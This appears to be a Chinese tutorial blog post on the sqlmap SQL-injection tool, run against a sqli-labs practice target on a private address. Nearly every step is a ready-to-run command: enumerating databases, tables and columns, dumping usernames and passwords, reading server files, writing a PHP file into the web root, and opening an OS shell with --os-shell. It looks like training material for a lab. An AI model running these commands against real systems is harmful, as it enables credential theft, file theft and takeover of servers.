注入工具 -- sqlmap(枚举信息)

简介: 注入工具 -- sqlmap(枚举信息)

一、列举数据库名


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --dbs

0a2653c851af460fa595bd959398a8f1.png


二、列举数据库表


qlmap -u “http://192.168.1.121/sqli/Less-1/?id=1”-D security --tables

0eacb84100b54626af849e6b562bf92a.png


三、列举数据库列名


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” -D security -T users --columns

2d65d23f6d4748949b924e4057485923.png


四、列举数据值


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” -D security -T users -C “password,username” --dump

2e9b90b2ca334476abebe75bafe6eeaa.png


五、列举schema信息,


–exclude-sysdbs 排除系统数据库

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --schema --exclude-sysdb

4cebaac233b3433da32a72337a77fc60.png


六、检索表中数据的数量


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --count --exclude-sysdbs

6de278e6d6694ce5bb08e7e842b7e74b.png


七、暴力破解数据


mysql<5.0时,没有information_schema,所以用–common-tables,–common-columns获取表名和列名,需要自己导入字典

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” -D security --common-tables


八、读取文件,


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --file-read=“C:\phpStudy\PHPTutorial\WWW\index.php”

7a399525ddec4b77923c464820b33738 (1).png


九、写入文件


–file-write 本地文件

–file-dest 远程写入文件

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --file-write="/root/.sqlmap/output/192.168.1.121/files/123" --file-dest=“C:\phpStudy\PHPTutorial\WWW\321.php”


十、检索所有信息


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” -a


十一、执行系统个命令


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --os-shell

7a399525ddec4b77923c464820b33738.png


禁止非法,后果自负

目录
相关文章
|
JSON JavaScript 前端开发
Vue+ElementUI 搭建后台管理系统(实战系列六)
Vue+ElementUI 搭建后台管理系统(实战系列六)
259 0
|
数据采集 存储 安全
Pandas数据类型转换:astype与to_numeric
在数据分析中,Pandas的`astype`和`to_numeric`是两种常用的数据类型转换方法。`astype`可将DataFrame或Series中的数据转换为指定类型,支持单一列或多列转换;常见问题包括无效字面量和精度丢失。`to_numeric`主要用于字符串转数值,容错能力强,能自动识别缺失值并优化内存占用。掌握这两种方法及其错误处理技巧,可提高数据分析的效率与准确性。
926 23
|
安全 网络安全
jsch 报错 no matching host key type found. Their offer: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha> 如何处理
【5月更文挑战第24天】jsch 报错 no matching host key type found. Their offer: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha> 如何处理
1394 1
|
JavaScript 前端开发 开发者
如何在 Visual Studio Code (VSCode) 中使用 ESLint 和 Prettier 检查代码规范并自动格式化 Vue.js 代码,包括安装插件、配置 ESLint 和 Prettier 以及 VSCode 设置的具体步骤
随着前端开发技术的快速发展,代码规范和格式化工具变得尤为重要。本文介绍了如何在 Visual Studio Code (VSCode) 中使用 ESLint 和 Prettier 检查代码规范并自动格式化 Vue.js 代码,包括安装插件、配置 ESLint 和 Prettier 以及 VSCode 设置的具体步骤。通过这些工具,可以显著提升编码效率和代码质量。
2590 4
|
算法 测试技术
模块化设计具体应该怎么做呢
【10月更文挑战第22天】模块化设计具体应该怎么做呢
|
存储 开发框架 .NET
常见20道C#面试的题
常见20道C#面试的题
217 1
|
SQL Shell API
实时计算 Flink版操作报错合集之任务提交后出现 "cannot run program "/bin/bash": error=1, 不允许操作" ,是什么原因
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
实时计算 Flink版操作报错合集之任务提交后出现 "cannot run program "/bin/bash": error=1, 不允许操作" ,是什么原因
|
Windows
Acunetix——本地计算机上的Acunetix服务启动后停止,某些服务在未由其他服务或程序使用时将自动停止
Acunetix——本地计算机上的Acunetix服务启动后停止,某些服务在未由其他服务或程序使用时将自动停止
667 0
|
JavaScript 前端开发
【前端 - Vue】关于ESlint代码规范及格式化插件
【前端 - Vue】关于ESlint代码规范及格式化插件

热门文章

最新文章